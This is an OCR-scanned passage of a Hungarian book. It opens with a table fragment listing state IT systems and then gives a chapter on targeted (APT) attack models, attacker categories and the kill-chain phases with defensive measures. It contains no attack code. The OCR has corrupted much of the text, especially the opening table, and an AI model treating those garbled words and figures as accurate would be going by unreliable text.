29. g6 nyomtatvanyellendrzési és NISZ Zrt. doloozas 151 fiioed
nyomtatvanykitolt informatikai & £8
rendszer
s, L, . | Magyar K6zlony Lap- és | elektronikus adatfel- | az adatkezeld dontésé-
30. | Fizetésképtelenségi nyilvantartas Konyvkiadd Kft. dolgozds 61 fiiggd
A Nemzeti Valasztasi Iroda
adatkezelésében 1év6, a va-
lasztasi eljarasrol szolo 2013. IdomSoft Informatikai . W e e
31. | évi XXXVL torvény 76. § (3) Zartkriien Miiksds elektrfi‘(’)llkgsz :satfel' az adat;‘;zgilo ‘iomese'
bekezdésében meghatarozott va- Részvénytarsasag £ g8
lasztasi nyilvantartasokat kezeld
informatikai rendszer
A magyarorszagi lakcimmel nem
rendelkez6 valasztopolgarok
levélben benyujtott névjegyzéki KOPH\.IT-.D,A TORG elektronikus adatfel- | az adatkezel6 dontésé-
32. i , . e Informatikai és Vagyon- , o1 e
kérelmének regisztracios elofel- Kezeld K ft dolgozas tol fliggd

dolgozasat végz6 informatikai
rendszer
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II. SAGI GABOR: CELZOTT TAMADASI MODELLEK ES
MUSZAKI VEDELEM LEHETOSEGEK

1. Bevezeto

Az informacios tarsadalom fejlddése, az informatikai eszkdzok alkalmazésa a tarsadalmi, gazdasagi
alapfolyamatok miikodésében betoltott egyre nagyobb szerepe magaval hozta az informatikai eszko-
z0k altal okozott kitettségiinket. Szamos alapfolyamat miikodése, miikodtetése manapsag mar elkép-
zelhetetlen vagy megvalosithatatlan informatikai eszk6zok tamogatasa nélkiil. A mindennapi életben
egyre tobb és Osszetettebb szolgaltatasokat vesziink igénybe, a kiszolgald infrastruktarak egyre 6sz-
szetettebbek, egyre komplexebbé valtak, a korabban kiillonboz6 célra készitett rendszerek 0sszekap-
csolodtak és elkezdtek egymassal kommunikdlni, ezzel tovabb ndvelve a rendszerek tizemeltetésének
kockézatat. Az egyes rendszerek altal publikusan elérhetd szolgaltatasok, a mobil technolodgia, okos
¢s kevésbé okos eszkdzok bar kényelmesebbé tették az €letiinket, de Gijabb és tjabb tdmadasi lehetd-
séget biztositanak a rosszat akarok szamara. Masrészrdl a felhdszolgaltatas elterjedése magaval hozta
az adatok koncentralt, egy helyen torténd tarolasat, ami bar védelmi szempontbol magasabb szintet
tesz lehetdvé, ugyanakkor a timadé motivacidja is magasabba valt a nagyobb hasznon megszerzésé-
nek reménye miatt.

Napjainkban mar nem csak a szakirodalomban, hanem a kézmédiaban is nap, mint nap jelennek
meg azok a hirek, amelyek nagymennyiségili adat szivargasrol, informatikai rendszerek ellene elkove-
tett miikddést akadalyozé vagy éppen egy allam kormanyzati szerve ellen elkdvetett tamadasrol szol-
nak. Ezen a timadasok végrehajtasa kiilonos szakértelmet, komoly eréforrast igényel és jellemzden
komoly biin6zdi csoportok vagy allamok allnak a hattérben. Ezen timadasok jellemzdi tovabba, hogy
olyan technoldgiakat alkalmaznak a tdimadéasok sordn, amely a hagyomanyos védelmi eszkdzokkel
nehezen vagy egyaltalan nem fedezhetdk fel, a timadasok megtervezése hosszu folyamat és a végre-
hajtasa altalaban t6bb Iépcsében valdsul meg, s amelyek felfedezése honapokat, éveket vesz igénybe.

Jelen konyvfejezet célja bemutatni a fejlett timadasok jellemzdit, folyamatat, a védelem megszer-
vezésének lehetséges modjat, illetve bemutatni néhany sikeres fejlett tamadast.

2. Tamadasok csoportositasa

Ahhoz, hogy megértsiik a fejlett tiamadasok jellemzdit, érdemes egy tisztazni a tiamadasok jellemzdit.
Az informatikai rendszereket ért tamadasokat tobbféle modszer szerint csoportosithatjuk. A tdmada-
sok szétvalasztasanak alapja lehet a tamado célja, a timadas soran tdmadott célpont szdma, valamint
a tamadas ,,elkovetdje”.

2.1. Tamadas célja szerint

Egy tdmadasnak szamos célja lehet, egy rendszer elérhetetlenné tételétol, a rendszer vagy a rendszer-
ben tarolt adatok modositasan at, a rendszerben tarolt adatok megismeréséig. Ezen célok hatarozzak
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meg a tdmadas soran igénybe vett technikakat, folyamatokat. A tdimadas sikerességét nagymértékben
befolydsolja a védelmi rendszer hatékonysaga, a tamado képessége, valamint a rendelkezésre allo
er6forrasok nagysaga is. Amig egy rendszer miikodésének zavarasdhoz kevés erdforras sziikséges,
egy jol védett rendszerben torténd informacidszerzés, a rendszer vagy az abban tarolt adatok modosi-
tasa sokkal komplexebb és ezzel egyiitt ,,dragabb” tevékenység.

2.1.1. Informdcios rendszer miikodésének zavardsa (rendelkezésre dllas elleni tamadds)

Az informacios rendszer miikodésnek zavarasanak célja, hogy a szolgaltatast igénybe vevok ne vagy
csak korlatozottan érjék el a rendszert, a rendszerben tarolt adatokat vagy ne tudjak ezeket hasznalni.
Ezen célt a rendszer konfiguracidjanak megvaltoztatasaval (példaul: lekapcsolasaval) vagy a rendszer
er6forrasainak elfogyasztasaval lehet elérni.

A rendszer konfiguracidjanak modositasat belsé elkdvetd vagy belsé munkavallald jogosultsagai-
val visszaélve, ritkdbb esetben a rendszer sériilékenységét kihasznalva a rendszerbe kiviilrél torténd
betoréssel lehet elvégezni.

A publikus feliiletek (példaul honlapok) rendelkezésre allasnak zavarasanak masik modja az ugy-
nevezett szolgaltatas megtagadassal jar6 tdmadas. A tamadas soran annyi kérés érkezik a szolgalta-
tashoz, amennyit az nem tud kiszolgalni, igy a rendszer elérhetetlenné valik, amivel a timado elérheti
céljat. A tamadasok egy részénél a tiamado — akar tobb szamitdgép, vagy botnet halozat segitségével —
a szolgaltatas elérhetdségét biztositd adatatviteli csatornat teliti el. Tovabbi modszer, hogy a kihasz-
nalva a rendszer beallitasanak, vagy miikodési hidnyossagait kisebb szamu, de a rendszer mitkodését
akadalyozo kérést indit.

A rendszer miikodését zavaro tdmadasok észlelése konnyti, kezelése megfeleld beallitasokkal, il-
letve védelmi eszkozokkel biztosithatd. A kezelhetd méretli tdmadasok megeldzésére tobb gyartd
kinal védelmi megoldast, ugyanakkor vannak olyan tamadasok, amelye olyan mértékiiek, amelyeket
mar sem a szervezet, sem a szolgaltatdo nem tud kezelni*®,>!,

2.1.2. Adat megszerzésére iranyulo tamadas (bizalmassag elleni tamadas)

A tamadésok masik csoportjat a kiilonboz6 rendszerekben tarolt adatok megszerzésére iranyuld tdma-
dasok jelentik. A tdmadas célja lehet a rendszerben tortént adatok egyszeri alkalommal torténé meg-
szerzésére, de akar folyamatos informacidszerzésre is. Ez utobbi esetben a tamadonak a rejtdzkodés
mellett, ki kell alakitani a folyamatos informacid tovabbitasahoz sziikséges csatornat, csatornakat.

2.1.3. Adat médositasdara iranyulo tamadads (sértetlenség elleni tamadads)
A tamadas célja az informacios rendszer gyengeségeit kihaszndlva a rendszerben tarolt adatoknak,

vagy maganak a rendszer miikddésének modositsa. A tdmadas céljatol fliggden a tdmado torekedhet
a rejtézésre, a modositads nyomainak eltiintetésére.

0 https://techcrunch.com/2016/10/21/many-sites-including-twitter-and-spotify-suffering-outage/ (utolsé letoltés: 2018.
09. 18.)
U https://thehackernews.com/2018/03/biggest-ddos-attack-github.html (utolsé let6ltés: 2018. 09. 18.)
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2.2. Tamadas célpontjainak szama szerint
2.2.1. Kampany jellegii tamadas

A kampany jellegli tamadasok jellemzdi, hogy azok nem célzottan egy konkrét személy vagy szerve-
zet ellen iranyulnak. A célpontok kivalasztasat nem vagy csak nem mély felderitési tevékenység el6zi
meg. A timadasnak sok — akar véletlenszert — célpontja van, amelybdl néhany esetben varhato, hogy
sikeresen célba is ér. A tamadésok végrehajtas soran altalaban elektronikus levél segitségével probal-
jak meg a tdmadok elérni a lehetséges célpontot, jellemzden kordbban feltdrt honlapokrdl ellopott
adatbazisokbol nyert cimekkel vagy az interneten szabadon — akér a felhasznalok altal publikalt —
elektronikus levélcimeken. Amennyiben a tdmadas kozvetleniil informatikai rendszer ellen iranyul,
ugy a véletlenszeriien vagy példaul sériilékeny oldalakat keres6é alkalmazasok, vagy sériilékenységi
informdciokat tartalmazod oldalakon talalhato leirdsok hasznalataval torténik.

2.2.2. Célzott tamadas jellemzoi

A tamadas egy kivalasztott célpont ellen iranyul, ami lehet egy kisebb csoport vagy akar egy konkrét
személy is. A célpont kivalasztdsa utan a tamado altalaban alapos felderitést végez, feltérképezi a cél-
pont altal izemeltetett rendszereket, a szervezetet, a szervezetben dolgozé munkatarsakat, szallitokat.
A tdmadas sordn a szervezetre, azok munkavallaldira szabott timadast hajt végre, akar teljesen egyedi
megoldasokat, tdimadasi technikakat alkalmazva.

2.3. Tamadok szerint

A tdmadasok sikerességét — a rendszer biztonsagi allapotan til — fokozottan befolyasolja a tamadé
tudasa, ismerete az adott rendszerrdl, a rendelkezésre 4ll6 anyagi eréforras, valamint a tAmadashoz
rendelkezésre 4ll6 id6. Az egyes csoportok célpontjai, motivacidja és rendelkezésre alld eréforrasai
nagy mértékben eltérnek egymastol. Az egyes csoportok kozott vannak atfedések, illetve egy-egy
tdmado lehet akar tobb csoport tagja is.

2.3.1. , Az daldozatok”

»Az aldozatok™ azon személyek, akik szamitogépét valamely tdmado, tdmadd csoport tavolrdl ira-
nyitja. A szamitogépiikkel torténd tdmadasrol nem tudnak, azok jellemzdit nem ismerik fel. A sza-
mitogépiik fertdzését gondatlansdgbol vagy tudatlansagbdl nem tudjak megvédeni. Egy-egy tamado
csoport, akar tobb szdzezer szamitogépet is iranyithat tdvolrdl példaul egy tlterheléses tdimadas vég-
rehajtasahoz.

2.3.2. Képzetlen tamadok

Szamossagukat tekintve ez a legnagyobb aktiv tamado csoport, ugyanakkor a védelem szempontjabol
a legkevesebb problémat a kevés tudassal rendelkezd tdmadok jelentik. Jellemzdjiik, hogy masok
altal elkészitett programokat, kddokat, eljarasokat hasznalnak, nem képesek 0j tdmadasi format kita-
lalni. Sok esetben az altaluk hasznalt programokat sem ismerik alaposan €s nincsenek tisztdban azok
hasznalataval csakligy, mint a tdmadott rendszer felépitésével. Tapasztalatuk hidnya miatt egyrészrol
konnyen bevonhatok illegalis tevékenység végrehajtasdba, masrészrdl gyakran hagynak nyomokat,
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ami miatt kénnyen a nyomukra lehet bukkanni. Komplex tdmadas esetén altalaban zavar6 tényezo-
ként szoktak alkalmazni ezen timadotipusba tartoz6 személyeket.

Motivaciojuk elsdsorban a hirnév szerz€és, magamutogatas, illetve egy-egy szerver er6forrasainak
jogosulatlan hasznalata, a rendszer mikodésének megzavarasa. Jellemzden nem ismerik €s nem is
tartjak be az erkolcsi és etikai normékat.

2.3.3. Nagy tudasu szakemberek

Az informatikai rendszereket az atlag informatikusnal jobban ismerd szakemberek tartoznak ebbe
a csoportba. Motivacidjuk kiilonbozd, tudasukat hasznalhatjak egyarant jo és rossz célra is, bar a jo
nem minden esetben jelent torvényeset is. Némi egyszertisitéssel a koznyelvben ezen csoportba tar-
toz6 személyeket hivjak hackernek.

Ko6z0s jellemzdjiik, hogy tudasukkal képesek olyan sériilékenységeket megtalalni, amely kordbban
nem volt ismert. Képesek olyan tamadésokat végrehajtani, amelyek kordbban nem hajtottak végre.
Altalaban jol ismerik a tamadott rendszert vagy arrol a tamadas soran sok informaciot gytijtenek be.

A szakirodalom alapjan harom csoportot kiilonboztetiink meg:

» fehér kalapos (white hat) hacker: tudasat j6 célra hasznalja, altaldban megbizas alapjan pro-
balja kiilonb6z6 modszerekkel megtalalni egy adott rendszerben kihasznalthatd biztonsagi
hianyossagokat, a feltart hidnyossagokrol tajékoztatja az érintetteket. Amennyiben van felha-
talmazasa (engedély vagy bug bounty program) a tevékenység végzésére, ugy ezen csoport
nem tartozik a tdimaddk csoportjaba, koznyelvben ezen személyeket nevezziik etikus hacke-
reknek.

» fekete alapos (black hat) hacker: akik tudasukkal visszaélve szamitogépbe, illetve szamito-
gép-haldzatokba tornek be haszonszerzés vagy karokozas céljabol. Ezen csoport tagjait egyér-
telmiien tdmadoként kell értékelniink. Korabban ezen csoport tagjait crackernek is szoktak
nevezni, de manapsag a cracker kifejezést a programok feltorésére szakosodott réteget értjiik.

« sziirke kalapos (gray hat) hacker: jogi szempontbél sziirke zénaba tartoznak. Altaldban fel-
hatalmazas nélkiil végzik tevékenységiiket és tajékoztatjak a sériilékenységrol az érintetteket,
de valamiért cserébe dolgoznak.

2.3.4. Belso elkovetok, kiilso szakértok, tamogatok

A nagy tudast tdmadok egy sziikebb csoportjat alkotjdk a szervezet informatikai rendszereit jol
ismerd, altalaban mar megsziint vagy még meglévd magas jogosultsaggal rendelkezd személyek,
akik bosszubdl, jogos vagy vélt sérelem miatt kovetik el tettiiket. Ezen csoportba tartoz6 tamado a
rendszerrdl szerzett kiemelkedd szaktudasa, a gyengeségek ismerete, valamint a magas jogosultsagi
szint miatt képes a rendszerben olyan modositasokat végrehajtani, amelyek nehezen felismerhetd-
vé teszik a tevékenységét. Eléfordulhat, hogy a bels6 elkdvetd gondolva a ,,kés6bbi idokre” olyan
modositasokat hajt végre, amelyek alkalmassa teszik a rendszerbe torténd jogosulatlan tevékenység
végrehajtasara.

2.3.5. Biinézoi csoportok

Blin6z61 csoportok célja jellemzden a pénzszerzés és ennek érdekében sok mindet meg is tesznek.
A blindzd6i csoportok tagjai jellemzden jol képzett, nagy szaktudassal rendelkezd személyek, akik
képesek a rendszer tdmadasa soran felfedezni és kihasznalni a tAmadott rendszer sériilékenységeit.
Napjainkra kiilon piaca alakult ki a karés kodok kereskedelmének, ezen csoportok kialakitottak saja-
tos lizleti modelljiiket is.
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A blin6z06i csoportok egyrészrdl sajat maguk is timadnak, masrészrdl a darkweben aruljak az alta-
luk fejlesztett kodokat. Az ellopott adatok visszaszolgaltatasaért, a nagyon jellemzd ransomware-ek
altal titkositott allomanyok visszafejtéséért, az informatikai rendszer feletti vezérlés visszaadasaért
pénzt kérhetnek, amelyet az aldozat vagy megfizet vagy nem. Ugyanakkor nincs garancia arra, hogy
a pénz kifizetése esetén a tdmadok teljesitik igéretiiket.

A hatékonyabb miikodés érdekében nem ritka, hogy online segitségnytjtas biztositanak a pénz
eljuttatasara vagy garanciat vallalnak a kdros kod mitkddésére.

2.3.6. Hacktivistak

A hackerek ¢€s az aktivistak tulajdonsdgait, illetve céljait kozosen vallok tarsasaga. Rendszerint va-
lamilyen politikai, tdrsadalmi motivéacioval rendelkeznek. Céljuk elsdsorban a figyelemfelhivas, a
célpont miikodésének zavarasa. A legismertebb haktivista csoport az Anonymus, amely mar Magyar-
orszagon is tobb tdmadast hajtott vége.

2.3.7. Ipari kémek

Altaldban nagy tudassal és konkrét céllal rendelkezé csoport, amelynek célja a konkurenciatél minél
tobb informacidé megszerzése folyamatosan, gy, hogy arra ne deriiljon fény. Az informécidszerzés
iranyulhat az informatikai rendszerek timadas ellen, de nem ritka a vallalat dolgozait6l torténd infor-
macio szerzésre.

2.3.8. Terroristik

A kiberterroristak célja kettds. Egyrészrdl az internetet hasznaljdk informéaciomegosztasra, informa-
cidszerzésre a tamadasaik elokészitése soran, masrészrdl hasznaljak a kiszemelt az informatikai rend-
szer mikodésének zavarasa. Nincsnek erkdlesi korlataik, igy barmit megtesznek céljaik elérése ér-
dekében. Napjainkban a terrorista csoportok elsdsorban hivek toborzasara, propaganda tevékenység
folytatasara, egymas kozotti kommunikaciora, illetve kisebb tdmadasokkal pénzszerzésre hasznaljak
a kiberteret. Egyeldre szamottevo — példaul kritikus informacios rendszer elleni — tdmadast még nem
hajtottak végre, ugyanakkor figyelembe véve a kiber- és a hagyomanyos tdmadas koltségeit, ezzel
sajnos szamolnunk kell.

2.3.9. Allami vagy dllami hdtterii timadok

Az elmult években — tobbek kozott a Wikileaks segitségével — nyilvanossagra keriilt informaciok
alapjan lathatd, hogy az egyes — informatikai szempontbol fejlett — dllamok folyamatosan gytijtenek
informaciot barati orszagokrol €s az ellenségeikrdl. A tamadok lehetnek vagy maguk az allam szol-
galataban allo vagy az allam &ltal tdmogatott nagy szaktudast szakemberek vagy azok csoportja.
Ezen csoport jellemzdje, hogy egy adott politikai cél érdekében dolgoznak. Ezen timadok jellemzden
hozzaférhetnek olyan informaciokhoz (példaul hirszerzési tevékenység soran szerzett informaciok,
szoftverek, hardverek nem ismert sériilékenységei), amelyek segitségével a tobbi csoportnal sokkal
hatékonyabban tudnak tdmadni. Vélhetden allami hatteri timadok az informacidszerzésen kiviil haj-
tanak végre ipari infrastruktura elemek elleni timadéasokat is, mint példaul az irani atomreaktor vagy
az ukran energiarendszer elleni timadas. Ugyanakkor az 4llami hatter(i tdimadésok esetén szinte lehe-
tetlen bizonyitani, hogy maga az allam vagy az altala megbizott szervezet hajtotta végre a tamadast,
mivel a felderitéshez sziikséges informaciot maganak az allamnak kellene biztositania.
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Mig a blin6z06i csoportok altal végrehajtott fejlett timadasok esetén a tdamadasra forditott koltség
altalaban kevesebb, mint a vart bevétel, ugyanakkor allam vagy allam altal tdmogatott csoport altal
elkovetett tamadas esetén kevésbé szamolhatunk pénziigyileg racionalis dontésre, ezen esetben in-
kabb a politikai szempontok a mérvadok.

3. Fejlett tamadasok leirasa

Az angol terminologidban a fejlett tdimadasokat APT-nek vagy Advanced Persistent Threat-nek
nevezzik, melybdl az ,,Advanced” jelenti, azt, hogy a tamado6 olyan fejlett technikdkat hasznal,
amelyek masok — beleértve a biztonsagi megoldasokat szallité vallalatok — szdmara sem ismertek.
A ,Persistent” jelenti azt, hogy a timadé hosszabb ideig fenn kivanja tartani jelenlétét a megtama-
dott rendszerben ¢€s ott hosszabb ideig akarja tevékenységét végezni. A magyar terminoldgidban az
APT, fejlett tdamadasként terjedt el, ami csak részben felel meg az APT-nek, mivel szamos olyan
tamadas van, amely példaul nulladik napi sériilékenység kihasznalaséval kovetnek el, de egyszeri
alkalomra szdlnak (példaul az ukran energiarendszer elleni tdmadas). Jelen fejezetekben fejlett ta-
madasként az angol terminologia szerinti APT-t értem.

Az ugynevezett fejlett tamadasok jellemzdi, hogy a tamadas sordn a tdmado behatol az informaci-
0s rendszerben és hosszabb ideig ott is marad, altalaban abbol acélbdl, hogy a rendszerbdl adatokat
szerezzen, kevésbé cél a karokozas, az informatikai rendszer vagy ipari rendszer miikodésének zava-
rasa — bar erre is van szamos p¢lda.

Az APT jellegli tdmadasok jellemzdje tovabba, hogy azok altalaban célzottan egy adott szerve-
zetre, annak informatikai rendszeréra vannak szabva. A tdmadas megszervezése, végrehajtasa tobb
honapot vagy akar éveket is igénybe vehet. a raforditott id0 azonban nem garantélja, hogy a tamadas
nem lesz 1d6 el6tt felfedezve.

A fejlett timadasok soran a tamadd olyan eszkozoket alkalmaz, sériilékenységeket tigynevezett
0-napi vagy zero-day) hasznal ki, amelyek altalaban egyediek, igy a hagyomanyos védelmi megolda-
sok nem képesek a tAmadas felismerésére. A komolyabb erdforrassal rendelkezd biindz6i csoportok,
az allam altal tAmogatott tamadok hozzéajuthatnak olyan sériilékenységi informaciokhoz, sériilékeny-
séget kihasznalo kodokhoz is, amelyek biztositani tudjak, a tdamadas sikerességét, illetve, hogy a
tamadas hosszabb tavon rejtve maradjon.

A tamadok megismerve a célpont védelmi megoldasait, beszerezhetik a célpont altal hasznalt vé-
delmi megoldasokat, igy lehetdségiik van kiprobalni a megoldéasok kikeriilésére alkalmazando tech-
nikakat.

3.1. Apt tamadasi modellek

A hagyomanyos tamadasi formakrol (példaul DDoS, weboldalak kompromittalasa) és a tamadasok
elleni védekezésrol szamos mii sziiletett, amelyek részletesen bemutatjak, elemzik a timadas modjat,
lefolyésat, legyen sz6 karos koddal elkdvetett tdmadasrol, vagy szolgéltatds megtagadason alapuld
tdmadasrol.

A behatolas jellegii fejlett timadésok modellezésére is szamos megkdzelités 1étezik (Cyber Attack
Thread, Mandiant attack life cycle, Lockheed Martin Intrusion Kill Chain), de jelenleg nincs min-
denki altal elfogadott modell. Ezen modellek megalkotasanak célja minden esetben az volt, hogy
a tdmadasi folyamat olyan elemi részekre keriiljon felbontdsra, amelyek lehetdséget biztositanak
a tdmadas részletes feltérképezésére és a védelem kialakitasra. Szamos védelmi megoldast szallitd
vallalat készitette el sajat modelljét, ugyanakkor ezen modellek természetesen a sajat termékeik ké-
pességeinek figyelembe vételével kertiltek kialakitasra, igy lehetnek/vannak benne hianyos, lefedet-
len védelmi teriiletek. A piaci trendek azt mutatjak, hogy az egyes gyartok probaljak termékeiket ugy
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fejleszteni, hogy a teljes védelmi spektrumra megoldast tudjanak adni, amit tobb-kevesebb sikerrel
meg is tudnak oldani.

A modelleket sokszor éri az a vad, hogy nem foglalkoznak a teljes tdmadasi ciklussal, illetve nem
térnek ki minden tdmadasi tipusra, vannak olyan tamadas tipusok, amelyeknél tovabbi 1épések van-
nak, illetve bizonyos 1épések nem valosulnak meg. A modellek jelentds része nem foglalkozik példaul
az incidens utani tevékenységekkel, mint példaul az ellopott adatok visszaszerzése, vagy a feltért
hianyossagok megsziintetésének problémaja.

Az alébbi két részletezett modell sem alkalmazhaté minden tdmadés tipusra, ugyanakkor a két
modell lehetdséget biztosit a fejlett timadasok megismerésére, a tdimado altal végrehajtott tevékeny-
ségek feltarasara, valamint a védelmi lehetdségek bemutatasara.

3.1.1. Lockhead Martin Intrusion kill chain
Az elsé modell, a Lockheed Martin altal publikalt ,,Intrusion Kill Chain”, amelyet tobbek kozott az

US-CERT is haszndl az altala végzett elemzések soran. A modell a tdmadasi folyamatot 7 jol elhata-
rolhato részre bontja.

1. abra: Cyber Kill Chain (Lockhead Martin)
Forras: https://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html
(utolso letoltés: 2018. szeptember 18.)
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A 7 1épést célszerti 3 jol elkiilonithetd részre felbontani a tamadas fazisainak elkiilonitése érdekében.
A kompromittalodas el6tti idészakban a tdmadott rendszer feltérképezése, a timadas el6készitéséhez
sziikséges tevékenységek vannak, a kompromittalédas fazisdban keriil a tdmadott rendszerbe kiala-
kitasra a tamadas végrehajtasahoz sziikséges komponensek telepitése, illetve az utolsé fazisban mar
maga a kéros tevékenység zajlik.

2. dbra: Intrusion Kill Chain
Forras: készitette a szerzo.

3.1.1.1. Felderités (Reconnaissance)

A felderités soran a tdimado megprobal minél tobb informaciot szerezni a kiszemelt célpont altal hasz-
nalt informatikai infrastruktararél, a vallalat munkavallal6irél, hogy meg tudja keresni azon gyenge
human és technikai pontokat, amelyek segitséget nyljtanak a tdmadas sikeres kivitelezésében. Az
informacioszerzes torténhet a vallalat, illetve a munkavallalok altal publikalt informaciokbol, csak-
ugy, mint a rendszer bejarati lehetdségeinek, szolgaltatasainak feltérképezésébdl, de akar hirszerzoi
tevékenységbdl is.

Amennyiben a tdmado a vallalati infrastruktiran kiviili csatorndkat hasznalt (hirszerzési csator-
nak, keresémotorok, Ujsagok, tematikus portalok, hirportalok, kozdsségi média stb.), akkor a fel-
deritésnek a vallalat altal hasznalt eszk6zokben nincs nyoma. Mivel az informaciok jelentds része
magatol a vallalattol (példaul: allas hirdetés, nyilvanos beszerzési eljaras) vagy a vallalat munkaval-
laloitol (példaul: kozosségi média) szarmazik és ezen informaciok miiszaki védelmére gyakorlatilag
nincs lehetdség kiilondsen fontos, hogy a munkavallalok figyelme fel legyen hivva ezen informaciok
nyilvanossagra hozatalanak kockazataira.

A nyilvéanos hirforrasokbdl torténd felderitést egésziti ki a vallalati halozat megismerése, a nyil-
vanosan elérhetd szolgaltatasok, az azokat kiszolgalo szoftverek és azok gyenge pontjainak feltérké-
pezése. A feltérképezésnek része lehet a reakcioképesség, reakcio ido tesztelése, példaul egy halozati
feltérképezés végrehajtasa.

A feltérképezésre altalaban a tdmado az interneten szabadon elérhetd eszkozoket hasznal, és csak
kisebb aranyban van sziikség €s lehetdség manualis tevékenységre. Amikor a tamado a vallalati infra-
struktirat hasznalja informacidszerzésre, akkor a timaddsnak mar vannak nyomai (példaul naplobe-
jegyzések), ugyanakkor ezekbdl a nyomokbol — néhany specifikus eset kivételével, példaul: portscan
ismert tdAmado cimmel — altaldban nem konnyti kdvetkeztetni a timadas elokésziiletére, viszont ezen
informaciok az utdlagos vizsgalatban segitséget nyljthatnak.

A halozat feltérképezése ellen hatékony védelmet tudnak nyujtani a publikalt szolgaltatasok konfi-
védelmi eszk6zok (tiizfalak, halozati behatolast detektalo és megel6z6 rendszerek — NIDS*?/NIPS* —
rendszerek) hasznalata. A tAmadasi szandék megerdsitését segithetik a honeypotok (csapdak), ame-
lyek segithetnek a timadasi felderitésében is.

52 NIDS: Network Intrusion Detection System: haldzati behatolas detektald rendszer.
53 NIPS: Network Intrusion Prevention System: halézati behatolast megakadalyozo rendszer.
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Az altalanosan elvart biztonsagi folyamatok mukodtetésével (példaul patch management, megfe-
leld eszkdzkonfiguralés) jelentdsen csokkenthetd a feltérképezés eredményessége, illetve a segithet a
tamadas célpontjanak atgondoltatasara, megvaltoztatdsaban is.

Amennyiben a tamado olyan szolgaltatast vizsgal, amelyhez jellegzetes viselkedésminta tartozik
(mint példaul weboldalak, ftp szerverek hasznalata), gy egy szokatlan viselkedés esetén lehetséges
az esetleges timadasi szandék felismerése €s a beavatkozas.

3.1.1.2. Felfegyverzés (Weaponization)

A célpont feltérképezése €s a rendszerek, munkavallalok gyenge pontjainak megtalalasa utani a tdma-
do elkésziti a tdimadas végrehajtasdhoz sziikséges csomagot.

A csomag altaldban egy karos kodbol (payload) €s egy latszolag hasznos allomanybdl all, amely
jellemzden egy dokumentum. A fertdzott csomag jellemzden Adobe Portable Document Format
(PDF) vagy Microsoft Office formatumu, de minden olyan formatum elképzelhetd, amely az allo-
many megnyitasaval — egy sériilékenység kihasznalasaval — lehetdséget biztosit kod futtatisara.

A karos kod készitését és a hordozo allomannyal torténd dsszekapcsolasat automatikus eszkdzok-
kel konnyedén meg lehet oldani. Amennyiben a tdmado6 rendelkezik elegendd erdforrassal, akkor
lehetésége van tamadéshoz sziikséges kod vasarlasara, vagy kiilondsen kifinomult timadas esetén a
kaod kifejlesztésére is.

A karos kod eljuttatdsanak egy lehetséges masik modszere, hogy a tamado egy fert6zott weboldalt
készit, ahova megprobalja elcsalni a célszemélyt. A fert6zé weboldalak altalaban hasonlitanak a cél-
pont altal latogatott oldalak valamelyikéhez, csak az oldal elérése tér el az eredeti oldaltdl vagy olyan
tartalmat tartalmaz, ami a célszemély szamara érdekes, hivogatod (példaul: kecsegtetd nyeremény,
szakmai oldal).

Ebben a fazisban a tdmadonak nincs kdzvetlen kapcsolata a céllal. A védekezdnek ugyanakkor
ebben a fazisban is van feladata, meg kell ismernie az kordbban detektalt karos kodok miikodését,
azok lefolyasat, meg kell ismernie az 0j tamadasi modszereket, ,,csomagolasi” eszkdzoket. Tovabbi
lehetdség, a védelem erdsitésére a sériilékenység adatbazisok, szaksajto, timadasi technikékat bemu-
tatd oldalak figyelése, beépiilés olyan hirfolyamoka, chat csatornakba, ahol informéaciot lehet szerezni
egy esetleges timadasrol.

Az Ujonnan szerzett informéciok segithetnek abban, hogy a védelmi eszkozoket felkészitsiik a
tamadas észlelésére, megakadalyozasara.

3.1.1.3. Szallitas (Delivery)

A tamadas ezen fazisaban a tamado altal elkészitett fertdzott csomag bejuttatasa torténik a cél rend-
szerbe. A karos kod eljuttatdsanak harom leggyakoribb modszere tovabbra is az email (phishing,
spear phishing), fertdzott weboldal, illetve a fert6zott reklam (malvertising). A kéaros kod a tama-
dott rendszerbe torténd eljuttatdsa torténhet emberi beavatkozas nélkiil is, ez esetben a tdmado egy
szoftverkomponens, szolgaltatas sériilékenységét hasznalhatja ki (példaul sériilékeny weboldal vagy
sériilékeny rendszerkomponens).

Célzott timadas esetén barmilyen szallitasi megoldas elképzelhetd, akar személyes uton torténd
atadas, vagy példaul a vallalat internetes kommunikacidjaba torténd beavatkozassal is. Nem ritka a
hordozhaté adathordozon (példaul ,.elveszett” vagy személyesen atadott DVD, pendrive) keresztiili
fertdzés (mint példaul a Stuxnet esetében).

A szallitasi fazis talan a legfontosabb a védelem szempontjabol, ugyanis ebben a fazisban még
meg tudjuk akadalyozni, hogy a karos kod eljusson a cimzetthez, bekeriiljon a védett informatikai
rendszerbe.

Mivel a tdmadas altalaban nagymértékben fiigg a felhasznald tevékenységétol, igy a védekezés
egyik pillére a felhasznalok tudatositasa, a tamadas sikeressége a felhasznal¢ altal felismert fert6zott
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allomanyt tartalmazo levél torlésével, az ismeretlen forrasbol szarmazo6 adathordozok megtekintésé-
nek mell6zésével megeldzhetd.

A védelem masik pillére azon technikai eszk6zok alkalmazasa, amelyek megakadalyozhatjak a
karos kod bejutasat a szervezetbe. A védelmet tigy kell megvalositani, hogy valamennyi bejévo csa-
torna esetén biztositva legyen az egységes védelem (beleértve példaul az épiiletben 1€v4 fali halozati
csatlakozasok védelmét is).

A felhasznaloi internetezési tevékenységének korlatozasanak — akar white-list™* — bevezetésével
biztosithatd, hogy a munkavallalok ne tudjanak kockazatos oldalak meglatogatni, karos kddokat, al-
lomanyokat letolteni, futtatni a végponton.

A kiilsO bizonytalan forrasbdl szdrmazo6 adathordozok korlatozasaval megakadalyozhato, hogy
ellendrizetlen adathordozokrol kertiljon karos kod a halozatra.

A korlatozasok korlatozott alkalmazasi lehetdségei miatt sziikséges a karos kdédot minta alapjan
felismerd védelmi rendszerekre (haldzati behatolds detektald, megel6z6 — IDPS, virus-, végpontvé-
delmi rendszerek, spam sziird), amelyek a rendszer szamadra ismert kodrészletet vagy a tdmadas va-
lamely paramétere felismerése esetén megakadalyozza a csomag célba jutdsat, azaz a karos kod nem
fog a rendszerben lefutni. Amennyiben a karos kod a védelmi rendszerek szdmara nem ismert, Uigy a
hagyomanyos védelmi megoldasok nem képesek a kod bejutasat megakadalyozni.

Bar a kéaros kdédok szaménak drasztikus ndvekedése, valamint a napjainkban alkalmazott rejtési
technikdk (példaul obfuszkalas) szignatura alapti védelmi rendszerek hatékonysagat jelentds mérték-
